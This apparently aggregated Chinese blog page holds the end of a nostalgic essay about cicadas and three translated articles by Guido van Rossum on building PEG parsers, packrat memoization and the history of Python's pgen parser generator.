年少的我们根据经验区别蝉的性别,总把它们当作公的。然而后来的知识却说,它们是母的。
蝉是一种昆虫,生长在泥土里,活动在树梢间,鸣叫、进食、交配、死亡,恰好与我们空间交叠,然而我们却对它知之甚少。
它们孕生在黑暗下,却能适应光亮的世界。
它们在黑夜的光明里,竟会迷失自己——村里某户人家的门口曾有棵很大的荔枝树,夜里可能有十来只蝉落在上面歌唱,邻居小孩们突然去摇晃那树,总有几只蝉会朝门前大灯上扑。
自由的蝉只闻其声,不见其影。
当它们出现在由枝叶搭起的楼宇里的时候,你知道其存在,而当它们更替了,或者彻底不在了的时候,我们却无法确察。
记得小时候,很多人家养了鸡,散放在外面的树/竹底或草垛下。
它们是勤劳的清理工,东啄西刨,挖蚯蚓追杀蜈蚣,争抢突然掉到地上的蝉。
所以,大部分蝉都死得很干脆很干净。
只有在某个不经意的时刻,我才突然在草垛顶看见过尸体,看见过经受了风雨快要完全被抹去的生命痕迹。
(三)
村子附近的蝉似乎只有一种,却带给了我很多有趣味的记忆。
后来,环境慢慢展开,我走进了一个更加丰富多样的世界。
我家的门口是一座山,山的后面有更多的山。
我曾在那些地方扫墓、放牛、砍柴、摘荔枝、采药,以及游玩。
我在山里见到的第一种蝉很奇特:它仅有半截小拇指大小,细长细长的,长着黑色的翅膀和红色的肚子,就像优雅的绅士的燕尾服包裹着我们吃过的一种软糖。(据查,它的学名就叫“黑翅红蝉”)
它喜欢待在灌木的新枝嫩叶上,像是在吸取天地精华,像是在瞭望着什么,像是在等待着什么。
但它的视力和反应能力实在迟钝——只要你够得着,基本就能伸手把它拈来;被抓之后,它也不会剧烈挣扎,反而可能耍起“诈死”的把戏,一动不动,也不知道是装的,还是吓破了胆。
这种蝉不会叫,似乎没有发声器官,又或者发声器退化了不易观察,我已记不清了。
还有一种蝉也生活在低矮的灌木丛里,它全身加一起,才有普通人的大拇指的指甲一样大。(由于未查到它的资料,我暂且称之为“小黑叶蝉”)
与同样生活在灌木丛的黑翅红蝉相比,它的习性恰好相反:红蝉生活在山脚附近,在光秃秃的山路旁也经常能看到,鉴于它的惊艳长相,我想说那是赤裸裸的挑逗;小黑叶蝉则躲在山腰里,在那有高木遮掩、有山厥和野草拦阻的地方,活得像是一群怕被惊扰的隐士。
这小叶蝉的叫声特别响,与那娇小的身躯完全不匹配,而且它的机敏性也极强,我们弯着腰,悄悄地挪近,借着大叶子的视线掩护,才能提高捕捉的成功率。
它们喜欢停在绿色的叶片上,但却长着黑褐色的翅膀(肚子也是),跟红蝉一样没有伪装色。
它们不像红蝉那样软弱,但是却十分脆弱:尽管我们小心地用东西把它们装起来,还摘了树叶“盖房子”,但在回去的路上,它们就死掉了。
上面的两种蝉都属于飘逸派,一个在形如一个在行,仿佛是侥幸躲过了生存挑战的不谙世事的遗民,正像它们喜欢栖息的新发的嫩叶。
我在山上还看见过其它几种蝉,在它们身上却有着显著的物竞天择的生物性。
首先是一种全身绿色的小蝉,跟小黑叶蝉差不多大小,叫声同样嘹响。它们喜欢待在枝干上,不管是高枝还是低枝,而且喜欢群体活动。
记得有一次,我们在一棵半枯的苦楝树上发现了很多小绿蝉,足足约 20 只,在喧叫、飞舞、交配。我们投掷石子和枯树枝,逮住了好几只掉落而不及逃飞的。
还有一种绿色的蝉,大拇指大小,背部的少数部位有褐色的斑块,腹部是或多或少的亮白色。它的伪装很成功,在竹林中遇见时,如果不是因为亮耳的叫声出卖,你绝对察觉不到它。
它没有固定的活动领域,比较少见,可是一旦偶然得见,你一定会被它完美的形象所打动,心痒痒的就只想捉住一只作为玩物——是那种可远观而不可亵渎的赏玩。
更为难得的是,这种绿蝉中会出现颜色变异——那是一种比较淡的黄橙色,隐约透着点红,我有幸才见过两三次,每次都心生狂喜,燃起少年在异性面前的那种动情。
绿色无疑是成功的伪装色,而我还见过两种伪装大师,它们另辟蹊径,走的却是暗黑系的路线——因为它们生活在灰褐色的枝干上。
一种较小的,约是小黑叶蝉的两倍,肚子短小而扁,伏贴在树干上,黑斑背,灰纹翅,总是叫着“giilili~lii”,飞的速度既不快也不慢,恰好能被你欣赏到它飞翔的美。
另一种蝉比大绿蝉略小,除了翅膀外全身都是深深的黑色,叫声中有一丝嘶哑,却无比响亮,抵得上别的种类的好多只。
一只黑蝉的独唱,就是一个合唱团,既有着多声叠加的响,还有着多音差的层次感。
这种蝉是我见过的所有蝉里最谨慎的。
一般而言,别的蝉在察觉到有异却没有真正危险的时候,都是停下声音缩紧身子,而它一旦觉察有异,基本会毫不犹豫地飞走。
即使是没有什么扰动,它也是狡兔三窟——在一棵树上叫着一阵,突然飞遁而去,在别处再续前音,仿佛就是一个流动的高音喇叭。
它的适应性也是最强的,足迹在深山里有、在山脚下有、在老家住宅附近有、在苏州的小区里也有——我没有抓到过它,但是种种迹象表明,它们就是它。
以上的六种蝉,很具有代表性,不管是形态,还是习性,都丰富多样,尽显出自然造化的神奇。
非常巧合的是,它们两两之间可以极密切地联系起来,因为具有某种共同的底色,而全部联系起来,则似乎能组成某种和谐的平衡的六边形。
进入山的世界后,尽管我的捕蝉活动变得单调了,分在每一种蝉上的记忆也浅淡了,但是眼界却因天然物种的丰富,而极大地开阔了,对于自然事物的体悟也更强烈了。
(四)
以上所有的蝉,都是直观可辨的蝉,它们的样貌与叫声最符合我对于“蝉”这一概念的理解。
可是蝉的世界并未到此而止境。
且不论那些我从未见过的蝉吧,就我的所见,还有几类蝉曾经超越了我的认知,我至今仍不能完全认可它们的身份。
比如,有几种微小的叶蝉,像是小飞蛾,或像小瓢虫,或像小蚱蜢,不起眼,又不会鸣叫,但它们也是实实在在的蝉科;还有一种沫蝉,只会吐出一团团的白色泡沫;还有竹蝉,只发育到蠕动的蝉蛹形态,躲在嫩竹笋里,排出一坨坨的废渣与粪便。
我在情感上并不想把它们称作是“蝉”,不管在知识上的物种分类是如何。
这一群渺小的、发育不全的、形貌可怖的东西,它们挑战了我已成型的认知。
想要改变一个人的认知,很难,想要改变一个被六边形印章认证过的认知,更难。
不过,我现在已经不像当初那样纠结了,我承认了它们的身份,还给了自己两个理由。
理由之一,蝉不是一种狭隘的、僵化的、简单的存在物,既然知道了它的蛰伏、蜕变与短暂飞翔的传奇故事,不妨再接受它所演变出的其它可能性。
还有一个理由则很现实,它们分享了“蝉”这一名称又如何,它们的故事是否动人又如何,我依然可以爱那最初的所爱、品忆那些纯粹的乐趣,这是无法被剥夺的,也才是真正重要的。
现在,我长大了客居它乡,已不大可能去做捕蝉这种自然探险的事了,更不需要用它来拓宽自己的自然观了。
立秋刚过,苏州受到强台风影响,刚下过了大雨,气候渐渐地便要凉快起来了吧。
也许不须几天,那树上的蝉儿就会没了声影,不知去向,不知这一生的使命完成得如何?
(注:除蝉壳照片外,文中图片来源于网络)

August 15, 2019 12:00 AM

August 10, 2019

pythoncat

Python 之父的解析器系列之三:生成一个 PEG 解析器

原题 | Generating a PEG Parser
作者 | Guido van Rossum(Python之父)
译者 | 豌豆花下猫(“Python猫”公众号作者)
声明 | 本翻译是出于交流学习的目的,基于 CC BY-NC-SA 4.0 授权协议。为便于阅读,内容略有改动。
我已经在本系列第二篇文章中简述了解析器的基础结构,并展示了一个简单的手写解析器,根据承诺,我们将转向从语法中生成解析器。我还将展示如何使用@memoize装饰器,以实现packrat 解析。
【这是 PEG 系列第 3 篇。参见第1篇第2篇
上篇文章我们以一个手写的解析器结束。给语法加上一些限制的话,我们很容易从语法中自动生成这样的解析器。(我们稍后会解除那些限制。)
我们需要两个东西:一个东西读取语法,并构造一个表现语法规则的数据结构;还有一个东西则用该数据结构来生成解析器。我们还需要无聊的胶水,我就不提啦。
所以我们在这创造的是一个简单的编译器编译器(compiler-compiler)。我将语法符号简化了一些,仅保留规则与备选项;这其实对于我在本系列的前面所用的玩具语法来说,已经足够了。
statement: assignment | expr | if_statement
expr: expr '+' term | expr '-' term | term
term: term '*' atom | term '/' atom | atom
atom: NAME | NUMBER | '(' expr ')'
assignment: target '=' expr
target: NAME
if_statement: 'if' expr ':' statement
使用完整的符号,我们可以为语法文件写出语法:
grammar: rule+ ENDMARKER
rule: NAME ':' alternative ('|' alternative)* NEWLINE
alternative: item+
item: NAME | STRING
用个花哨的叫法,这是我们的第一个元语法(语法的语法),而我们的解析器生成器将是一个元编译器(编译器是一个程序,将其它程序从一种语言转译为另一种语言;元编译器是一种编译器,其输入是一套语法,而输出是一个解析器 )。
有个简单地表示元语法的方法,主要是使用内置的数据类型:一条规则的右侧只是由一系列的条目组成的列表,且这些条目只能是字符串。(Hack:通过检查第一个字符是否为引号,我们可以区分出NAMESTRING
至于规则,我用了一个简单的 Rule 类,所以整个语法就是一些 Rule 对象。
这就是 Rule 类,省略了 __repr____eq__
class Rule:
    def __init__(self, name, alts):
        self.name = name
        self.alts = alts
调用它的是这个GrammarParser类(关于基类Parser ,请参阅我之前的帖子):
class GrammarParser(Parser):
    def grammar(self):
        pos = self.mark()
        if rule := self.rule():
            rules = [rule]
            while rule := self.rule():
                rules.append(rule)
            if self.expect(ENDMARKER):
                return rules    # <------------- final result
        self.reset(pos)
        return None
    def rule(self):
        pos = self.mark()
        if name := self.expect(NAME):
            if self.expect(":"):
                if alt := self.alternative():
                    alts = [alt]
                    apos = self.mark()
                    while (self.expect("|")
                           and (alt := self.alternative())):
                        alts.append(alt)
                        apos = self.mark()
                    self.reset(apos)
                    if self.expect(NEWLINE):
                        return Rule(name.string, alts)
        self.reset(pos)
        return None
    def alternative(self):
        items = []
        while item := self.item():
            items.append(item)
        return items
    def item(self):
        if name := self.expect(NAME):
            return name.string
        if string := self.expect(STRING):
            return string.string
        return None
注意 ENDMARKER ,它用来确保在最后一条规则后没有遗漏任何东西(如果语法中出现拼写错误,可能会导致这种情况)。
我放了一个简单的箭头,指向了 grammar() 方法的返回值位置,返回结果是一个存储 Rule 的列表。
其余部分跟上篇文章中的 ToyParser 类很相似,所以我不作解释。
只需留意,item() 返回一个字符串,alternative() 返回一个字符串列表,而 rule() 中的 alts 变量,则是一个由字符串列表组成的列表。
然后,rule() 方法将规则名称(一个字符串)与 alts 结合,放入 Rule 对象。
如果把这份代码用到包含了我们的玩具语法的文件上,则 grammar() 方法会返回以下的由 Rule 对象组成的列表:
[
  Rule('statement', [['assignment'], ['expr'], ['if_statement']]),
  Rule('expr', [['term', "'+'", 'expr'],
                ['term', "'-'", 'term'],
                ['term']]),
  Rule('term', [['atom', "'*'", 'term'],
                ['atom', "'/'", 'atom'],
                ['atom']]),
  Rule('atom', [['NAME'], ['NUMBER'], ["'('", 'expr', "')'"]]),
  Rule('assignment', [['target', "'='", 'expr']]),
  Rule('target', [['NAME']]),
  Rule('if_statement', [["'if'", 'expr', "':'", 'statement']]),
]
既然我们已经有了元编译器的解析部分,那就创建代码生成器吧。
把这些聚合起来,就形成了一个基本的元编译器:
def generate_parser_class(rules):
    print(f"class ToyParser(Parser):")
    for rule in rules:
        print()
        print(f"    @memoize")
        print(f"    def {rule.name}(self):")
        print(f"        pos = self.mark()")
        for alt in rule.alts:
            items = []
            print(f"        if (True")
            for item in alt:
                if item[0] in ('"', "'"):
                    print(f"            and self.expect({item})")
                else:
                    var = item.lower()
                    if var in items:
                        var += str(len(items))
                    items.append(var)
                    if item.isupper():
                        print("            " +
                              f"and ({var} := self.expect({item}))")
                    else:
                        print(f"            " +
                              f"and ({var} := self.{item}())")
            print(f"        ):")
            print(f"            " +
              f"return Node({rule.name!r}, [{', '.join(items)}])")
            print(f"        self.reset(pos)")
        print(f"        return None")
这段代码非常难看,但它管用(某种程度上),不管怎样,我打算将来重写它。
在”for alt in rule.alts”循环中,有些代码细节可能需要作出解释:对于备选项中的每个条目,我们有三种选择的可能:
  • 如果该条目是字符串字面量,例如'+' ,我们生成self.expect('+')
  • 如果该条目全部是大写,例如NAME ,我们生成(name := self.expect(NAME))
  • 其它情况,例如该条目是expr,我们生成 (expr := self.expr())
如果在单个备选项中出现多个相同名称的条目(例如term '-' term),我们会在第二个条目后附加一个数字。这里还有个小小的 bug,我会在以后的内容中修复。
这只是它的一部分输出(完整的类非常无聊)。不用担心那些零散的、冗长的 if (True and … ) 语句,我使用它们,以便每个生成的条件都能够以and 开头。Python 的字节码编译器会优化它。
class ToyParser(Parser):
    @memoize
    def statement(self):
        pos = self.mark()
        if (True
            and (assignment := self.assignment())
        ):
            return Node('statement', [assignment])
        self.reset(pos)
        if (True
            and (expr := self.expr())
        ):
            return Node('statement', [expr])
        self.reset(pos)
        if (True
            and (if_statement := self.if_statement())
        ):
            return Node('statement', [if_statement])
        self.reset(pos)
        return None
    ...
注意@memoize 装饰器:我“偷运”(smuggle)它进来,以便转向另一个主题:使用记忆法(memoization)来加速生成的解析器。
这是实现该装饰器的 memoize() 函数:
def memoize(func):
    def memoize_wrapper(self, *args):
        pos = self.mark()
        memo = self.memos.get(pos)
        if memo is None:
            memo = self.memos[pos] = {}
        key = (func, args)
        if key in memo:
            res, endpos = memo[key]
            self.reset(endpos)
        else:
            res = func(self, *args)
            endpos = self.mark()
            memo[key] = res, endpos
        return res
return memoize_wrapper
对于典型的装饰器来说,它的嵌套函数(nested function)会替换(或包装)被装饰的函数(decorated function),例如 memoize_wrapper() 会包装 ToyParser 类的 statement() 方法。
因为被包装的函数(wrapped function)是一个方法,所以包装器实际上也是一个方法:它的第一个参数是 self ,指向 ToyParser 实例,后者会调用被装饰的函数。
包装器会缓存每次调用解析方法后的结果——这就是为什么它会被称为“口袋老鼠解析”(packrat parsing)!
这缓存是一个字典,元素是存储在 Parser 实例上的那些字典。
外部字典的 key 是输入的位置;我将 self.memos = {} 添加到 Parser.__init__() ,以初始化它。
内部字典按需添加,它们的 key 由方法及其参数组成。(在当前的设计中没有参数,但我们应该记得 expect(),它恰好有一个参数,而且给它新增通用性,几乎不需要成本。 )
一个解析方法的结果被表示成一个元组,因为它正好有两个结果:一个显式的返回值(对于我们生成的解析器,它是一个 Node,表示所匹配的规则),以及我们从 self.mark() 中获得的一个新的输入位置。
在调用解析方法后,我们会在内部的记忆字典中同时存储它的返回值(res)以及新的输入位置(endpos)。
再次调用相同的解析方法时(在相同的位置,使用相同的参数),我们会从缓存中取出那两个结果,并用 self.reset() 来向前移动输入位置,最后返回那缓存中的返回值。
缓存负数的结果也很重要——实际上大多数对解析方法的调用都是负数的结果。在此情况下,返回值为 None,而输入位置不会变。你可以加一个assert 断言来检查它。
注意:Python 中常用的记忆法是在 memoize() 函数中将缓存定义成一个局部变量。但我们不这么做:因为我在一个最后时刻的调试会话中发现,每个 Parser 实例都必须拥有自己的缓存。然而,你可以用(pos, func, args) 作为 key,以摆脱嵌套字典的设计。
下周我将统览代码,演示在解析示例程序时,所有这些模块实际是如何配合工作的。
我仍然在抓头发中(译注:极度发愁),如何以最佳的方式将协同工作的标记生成器缓冲、解析器和记忆缓存作出可视化。或许我会设法生成动画的 ASCII 作品,而不仅仅是跟踪日志的输出。(译注:感觉他像是在开玩笑,但很难译出这句话的原味。建议阅读原文。)
本文及示例代码的授权协议: CC BY-NC-SA 4.0
作者简介: Guido van Rossum,是 Python 的创造者,一直是“终身仁慈独裁者”,直到2018年7月12日退位。目前,他是新的最高决策层的五位成员之一,依然活跃在社区中。
译者简介: 豌豆花下猫,生于广东毕业于武大,现为苏漂程序员,有一些极客思维,也有一些人文情怀,有一些温度,还有一些态度。公众号:「Python猫」(python_cat)。
公众号【Python猫】, 本号连载优质的系列文章,有喵星哲学猫系列、Python进阶系列、好书推荐系列、技术写作、优质英文推荐与翻译等等,欢迎关注哦。

August 10, 2019 12:00 AM

August 03, 2019

pythoncat

Python 之父再发文:构建一个 PEG 解析器

Python 之父在 Medium 上开了博客,现在写了两篇文章,本文是第二篇的译文。前一篇的译文 在此 ,宣布了将要用 PEG 解析器来替换当前的 pgen 解析器。
本文主要介绍了构建一个 PEG 解析器的大体思路,并介绍了一些基本的语法规则。根据 Python 之父的描述,这个 PEG 解析器还是一个很笼统的实验品,而他也预告了,将会在以后的系列文章中丰富这个解析器。
阅读这篇文章就像在读一篇教程,虽然很难看懂,但是感觉很奇妙:我们竟然可以见证 Python 之父如何考虑问题、如何作设计、如何一点一点地丰富功能、并且传授出来。这种机会非常难得啊!
我会持续跟进后续文章的翻译,由于能力有限,可能翻译中有不到位之处,恳请读者们批评指正。

原题 | Building a PEG Parser
作者 | Guido van Rossum(Python之父)
译者 | 豌豆花下猫(“Python猫”公众号作者)
声明 | 翻译是出于交流学习的目的,欢迎转载,但请保留本文出处,请勿用于商业或非法用途。
仅仅理解了 PEG 解析器的小部分,我就受到了启发,决定自己构建一个。结果可能不是一个很棒的通用型的 PEG 解析器生成器——这类生成器已经有很多了(例如 TatSu,写于 Python,生成 Python 代码)——但这是一个学习 PEG 的好办法,推进了我的目标,即用由 PEG 语法构建的解析器替换 CPython 的解析器。
在本文中,通过展示一个简单的手写解析器,我为如何理解解析器的工作原理奠定了基础。
(顺便说一句,作为一个实验,我不会在文中到处放参考链接。如果你有什么不明白的东西,请 Google 之 :-)
最常见的 PEG 解析方式是使用可以无限回溯的递归下降解析器。
以上周文章中的玩具语言为例:
statement: assignment | expr | if_statement
expr: expr '+' term | expr '-' term | term
term: term '*' atom | term '/' atom | atom
atom: NAME | NUMBER | '(' expr ')'
assignment: target '=' expr
target: NAME
if_statement: 'if' expr ':' statement
这种语言中超级抽象的递归下降解析器将为每个符号定义一个函数,该函数会尝试调用与备选项相对应的函数。
例如,对于statement,我们有如下函数:
def statement():
    if assignment():
        return True
   if expr():
        return True
    if if_statement():
        return True
    return False
当然这是极其简化的版本:没有考虑解析器中必要的输入及输出。
我们就从输入端开始讲吧。
经典解析器使用单独的标记生成器,来将输入(文本文件或字符串)分解成一系列的标记,例如关键字、标识符(名称)、数字与运算符。
(译注:标记生成器,即 tokenizer,用于生成标记 token。以下简称为“标记器”)
PEG 解析器(像其它现代解析器,如 ANTLR)通常会把标记与解析过程统一。但是对于我的项目,我选择保留单独的标记器。
对 Python 做标记太复杂了,我不想拘泥于 PEG 的形式来重新实现。
例如,你必须得记录缩进(这需要在标记器内使用堆栈),而且在 Python 中处理换行很有趣(它们很重要,除了在匹配的括号内)。字符串的多种引号也会增加复杂性。
简而言之,我不抱怨 Python 现有的标记器,所以我想保留它。(CPython 有两个标记器,一个是解析器在内部使用的,写于 C,另一个在标准库中,用纯 Python 重写。它对我的项目很有帮助。)
经典的标记器通常具有一个简单的接口,供你作函数调用,例如 get_token() ,它返回输入内容中的下一个标记,每次消费掉几个字符。
tokenize 模块对它作了进一步简化:它的基础 API 是一个生成器,每次生成(yield)一个标记。
每个标记都是一个 TypeInfo 对象,它有几个字段,其中最重要之一表示的是标记的类型(例如 NAMENUMBERSTRING),还有一个很重要的是字符串值,表示该标记所包含的字符(例如 abc42 或者 "hello world")。还有的字段会指明每个标记出现在输入文件中的坐标,这对于报告错误很有用。
有一个特殊的标记类型是 ENDMARKER ,它表示的是抵达了输入文件的末尾。如果你忽略它,并尝试获取下一个标记,则生成器会终结。
离题了,回归正题。我们如何实现无限回溯呢?
回溯要求你能记住源码中的位置,并且能够从该处重新解析。标记器的 API 不允许我们重置它的输入指针,但相对容易的是,将标记流装入一个数组中,并在那里做指针重置,所以我们就这样做。(你同样可以使用 itertools.tee() 来做,但是根据文档中的警告,在我们这种情况下,效率可能较低。)
我猜你可能会先将整个输入内容标记到一个 Python 列表里,将其作为解析器的输入,但这意味着如果在文件末尾处存在着无效的标记(例如一个字符串缺少结束的引号),而在文件前面还有语法错误,那你首先会收到的是关于标记错误的信息。
我觉得这是种糟糕的用户体验,因为这个语法错误有可能是导致字符串残缺的根本原因。
所以我的设计是按需标记,所用的列表是惰性列表。
基础 API 非常简单。Tokenizer 对象封装了一个数组,存放标记及其位置信息。
它有三个基本方法:
  • get_token() 返回下一个标记,并推进数组的索引(如果到了数组末尾,则从源码中读取另一个标记)
  • mark() 返回数组的当前索引
  • reset(pos) 设置数组的索引(参数必须从 mark() 方法中得到)
我们再补充一个便利方法 peek_token() ,它返回下一个标记且不推进索引。
然后,这就成了 Tokenizer 类的核心代码:
class Tokenizer:
    def __init__(self, tokengen):
        """Call with tokenize.generate_tokens(...)."""
        self.tokengen = tokengen
        self.tokens = []
        self.pos = 0
    def mark(self):
        return self.pos
    def reset(self, pos):
        self.pos = pos
    def get_token(self):
        token = self.peek_token()
        self.pos += 1
        return token
    def peek_token(self):
        if self.pos == len(self.tokens):
            self.tokens.append(next(self.tokengen))
        return self.tokens[self.pos]
现在,仍然缺失着很多东西(而且方法和实例变量的名称应该以下划线开头),但这作为 Tokenizer API 的初稿已经够了。
解析器也需要变成一个类,以便可以拥有 statement()、expr() 和其它方法。
标记器则变成一个实例变量,不过我们不希望解析方法(parsing methods)直接调用 get_token()——相反,我们给 Parser 类一个 expect() 方法,它可以像解析类方法一样,表示执行成功或失败。
expect() 的参数是一个预期的标记——一个字符串(像“+”)或者一个标记类型(像NAME)。
讨论完了解析器的输出,我继续讲返回类型(return type)。
在我初稿的解析器中,解析函数只返回 True 或 False。那对于理论计算机科学来说是好的(解析器要解答的那类问题是“语言中的这个是否是有效的字符串?”),但是对于构建解析器却不是——相反,我们希望用解析器来创建一个 AST。
所以我们就这么办,即让每个解析方法在成功时返回 Node 对象,在失败时返回 None
Node 类可以超级简单:
class Node:
    def __init__(self, type, children):
        self.type = type
        self.children = children
在这里,type 表示了该 AST 节点是什么类型(例如是个“add”节点或者“if”节点),children 表示了一些节点和标记(TokenInfo 类的实例)。
尽管将来我可能会改变表示 AST 的方式,但这足以让编译器生成代码或对其作分析了,例如 linting (译注:不懂)或者是静态类型检查。
为了适应这个方案,expect() 方法在成功时会返回一个 TokenInfo 对象,在失败时返回 None。为了支持回溯,我还封装了标记器的 mark() 和 reset() 方法(不改变 API)。
这是 Parser 类的基础结构:
class Parser:
    def __init__(self, tokenizer):
        self.tokenizer = tokenizer
    def mark(self):
        return self.tokenizer.mark()
    def reset(self, pos):
        self.tokenizer.reset(pos)
    def expect(self, arg):
        token = self.tokenizer.peek_token()
        if token.type == arg or token.string == arg:
            return self.tokenizer.get_token()
        return None
同样地,我放弃了某些细节,但它可以工作。
在这里,我有必要介绍解析方法的一个重要的需求:一个解析方法要么返回一个 Node,并将标记器定位到它能识别的语法规则的最后一个标记之后;要么返回 None,然后保持标记器的位置不变。
如果解析方法在读取了多个标记之后失败了,则它必须重置标记器的位置。这就是 mark() 与 reset() 的用途。请注意,expect() 也遵循此规则。
所以解析器的实际草稿如下。请注意,我使用了 Python 3.8 的海象运算符(:=):
class ToyParser(Parser):
    def statement(self):
        if a := self.assignment():
            return a
        if e := self.expr():
            return e
        if i := self.if_statement():
            return i
        return None
    def expr(self):
        if t := self.term():
            pos = self.mark()
            if op := self.expect("+"):
                if e := self.expr():
                    return Node("add", [t, e])
            self.reset(pos)
            if op := self.expect("-"):
                if e := self.expr():
                    return Node("sub", [t, e])
            self.reset(pos)
            return t
        return None
    def term(self):
        # Very similar...
    def atom(self):
        if token := self.expect(NAME):
            return token
        if token := self.expect(NUMBER):
            return token
        pos = self.mark()
        if self.expect("("):
            if e := self.expr():
                if self.expect(")"):
                    return e
        self.reset(pos)
        return None
我给读者们留了一些解析方法作为练习(这实际上不仅仅是为了介绍解析器长什么样子),最终我们将像这样从语法中自动地生成代码。
NAME 和 NUMBER 等常量可从标准库的 token 库中导入。(这能令我们快速地进入 Python 的标记过程;但如果想要构建一个更加通用的 PEG 解析器,则应该探索一些其它方法。)
我还作了个小弊:expr 是左递归的,但我的解析器用了右递归,因为递归下降解析器不适用于左递归的语法规则。
有一个解决方案,但它还只是一些学术研究上的课题,我想以后单独介绍它。你们只需知道,修复的版本与这个玩具语法并非 100% 相符。
**我希望你们得到的关键信息是: **
  • 语法规则相当于解析器方法,当一条语法规则引用另一条语法规则时,它的解析方法会调用另一条规则的解析方法
  • 当多个条目构成备选项时,解析方法会一个接一个地调用相应的方法
  • 当一条语法规则引用一个标记时,其解析方法会调用 expect()
  • 当一个解析方法在给定的输入位置成功地识别了它的语法规则时,它返回相应的 AST 节点;当识别失败时,它返回 None
  • 一个解析方法在消费(consum)一个或多个标记(直接或间接地,通过调用另一个成功的解析方法)后放弃解析时,必须显式地重置标记器的位置。这适用于放弃一个备选项而尝试下一个,也适用于完全地放弃解析
如果所有的解析方法都遵守这些规则,则不必在单个解析方法中使用 mark() 和 reset()。你可以用归纳法证明这一点。
顺便提醒,虽然使用上下文管理器和 with 语句来替代显式地调用 mark() 与 reset() 很有诱惑力,但这不管用:在成功时不应调用 reset()!
为了修复它,你可以在控制流中使用异常,这样上下文管理器就知道是否该重置标记器(我认为 TatSu 做了类似的东西)。
举例,你可以这样做:
    def statement(self):
        with self.alt():
            return self.assignment()
        with self.alt():
            return self.expr()
        with self.alt():
            return self.if_statement()
        raise ParsingFailure
特别地,atom() 中用来识别带括号的表达式的 if-语句,可以变成:
        with self.alt():
            self.expect("(")
            e = self.expr()
            self.expect(")")
            return e
但我发现这太“神奇”了——在阅读这些代码时,你必须清醒地意识到每个解析方法(以及 expect())都可能会引发异常,而这个异常会被 with 语句的上下文管理器捕获并忽略掉。
这相当不寻常,尽管肯定会支持(通过从 __exit__ 返回 true)。
还有,我的最终目标是生成 C,不是 Python,而在 C 里,没有 with 语句来改变控制流。
不管怎样,下面是未来的一些主题:
  • 根据语法生成解析代码
  • packrat 解析(记忆法)
  • EBNF 的特性,如(x | y)、[x y …]、x* 、x+
  • tracing (用于调试解析器或语法)
  • PEG 特性,如前瞻和“切割”
  • 如何处理左递归规则
  • 生成 C 代码
相关链接:

August 03, 2019 12:00 AM

July 29, 2019

pythoncat

Python 之父撰文回忆:为什么要创造 pgen 解析器?

近日,Python 之父在 Medium 上开通了博客,并发布了一篇关于 PEG 解析器的文章(参见我翻的 全文译文)。据我所知,他有自己的博客,为什么还会跑去 Medium 上写文呢?好奇之下,我就打开了他的老博客。
最后一篇文章写于 2018 年 5 月,好巧不巧,写的竟是 pgen 解析器,正是他在新文中无情地吐槽的、说将要替换掉的 pgen 。在这篇旧文里,Guido 回忆了他创造 pgen 时的一些考量,在当时看来,创造一个新的解析器无疑是明智的,只不过时过境迁,现在有了更好的选择罢了。
前不久,我们聊过 Python 中 GIL 的移除计划内置电池的“手术”计划 以及 print 的演变故事,如今,它的解析器也要迎来改造了。Python 这门语言快 30 岁了,还难得地保持着活力四射。就让我们一起祝福它吧,愿未来更加美好。

作者 | Guido van Rossum(Python之父)
译者 | 豌豆花下猫(“Python猫”公众号作者)
声明 | 翻译是出于交流学习的目的,欢迎转载,但请保留本文出处,请勿用于商业或非法用途。
David Beazley 在 US PyCon 2018 上的演讲,关于语法分析生成器(parser generators),提醒了我应该写一下关于它的历史。这是一个简短的脑转储(也许我今后会解释它)。
(译注:我大胆揣测一下“脑转储”吧,应该说的是,把个人的记忆以及 Python 的历史细节,转化成文字,这是个存储固化的过程,方便传承。而我做的翻译工作,就是把这份文档财富,普及给更多的 Python 爱好者。)
实际上,有两个 pgen,一个是最初的,用 C 语言写的,还有一个则是用 Python 重写的,在 lib2to3/pgen2 下面。
两个都是我写的。最早那个实际上是我为 Python 编写的第一份代码。尽管从技术上讲,我必须首先编写词法分析程序(lexer)(pgen 和 Python 共用词法分析程序,但 pgen 对大多数标记符不起作用)。
之所以我要写自己的语法分析生成器,原因是当时这玩意(我熟悉的)相当稀少——基本上就是用 Yacc(有个 GNU 的重写版,叫作 Bison(译注:美洲野牛),但我不确定那时的自己是否知道);或者是自己手写一个(这是大多数人所做的)。
我曾在大学里用过 Yacc,从“龙书”中熟悉了它的工作原理,但是出于某些原因,我并不喜欢它;IIRC 关于 LALR(1) 语法的局限性,我很难解释清楚。
(译注:1、龙书,原文是 Dragon book,指代《Compilers: Principles, Techniques, and Tools》,这是一本讲编译原理的书,属于编译原理界的殿堂级存在。另外还有两本经典著作,称号分别是“虎书”、“鲸书”,三者常常一起出现。2、IIRC,If I Remember Correctly,如果我没记错。)
我也熟悉 LL(1) 解析器,并已认真地编写过一些递归下降的 LL(1) 解析器——我很喜欢它,而且还熟悉 LL(1) 解析器的生成技术(同样是因为龙书),所以我有了一个改进念头想要试验下:使用正则表达式(某种程度的)而不是标准的 BNF 格式。
龙书还教会了我如何将正则表达式转换成 DFA,所以我把所有这些东西一结合,pgen 就诞生了。【更新:请参阅下文,对于这个理由,有个略微不同的版本。】
我曾不熟悉更高级的技术,或者曾认为它们效率太低。(在当时,我觉得工作在解析器上的大多数人都是这样。)
至于词法分析器(lexer),我决定不使用生成器——我对 Lex 的评价要比 Yacc 低得多,因为在尝试扫描超过 255 个字节的标记符时,我所熟悉的 Lex 版本会发生段错误(真实的!)。此外,我认为缩进格式很难教给词法分析器生成器。
(译注:1、这里的生成器并不是 Python 语法中的生成器,而是指用来生成分析器的工具。Lex 是“LEXical compiler”的简称,用来生成词法分析器;Yacc 是“Yet another compiler compiler”的简称,用来生成语法分析器。2、段错误,原文是 segfault,全称是 segmentation fault,指的是因为越界访问内存空间而导致的报错。)
pgen2 的故事则完全不同。
我曾受雇于 San Mateo 的一家创业公司(即 Elemental Security,倒闭于 2007,之后我离开并加入了 Google),在那我有一项设计定制语言的任务(目标是作关于系统配置的安全性判定),并拥有相当大的自主权。
我决定设计一些稍微像 Python 的东西,用 Python 来实现,并且决定要重用 pgen,但是后端要基于 Python,使用 tokenize.py 作为词法分析器。所以我用 Python 重写了 pgen 里的那些算法,然后继续构建了剩余的部分。
管理层觉得把工具开源是有意义的,因此他们很快就批准了,而在不久之后(我当时很可能已经转移到 Google 了?),这工具对于 2to3 也是有意义的。(因为输入格式跟原始的 pgen 相同,用它来生成一个 Python 解析器很容易——我只需将语法文件喂给工具。:-)
更新:创建 pgen 的原因,还有更多故事
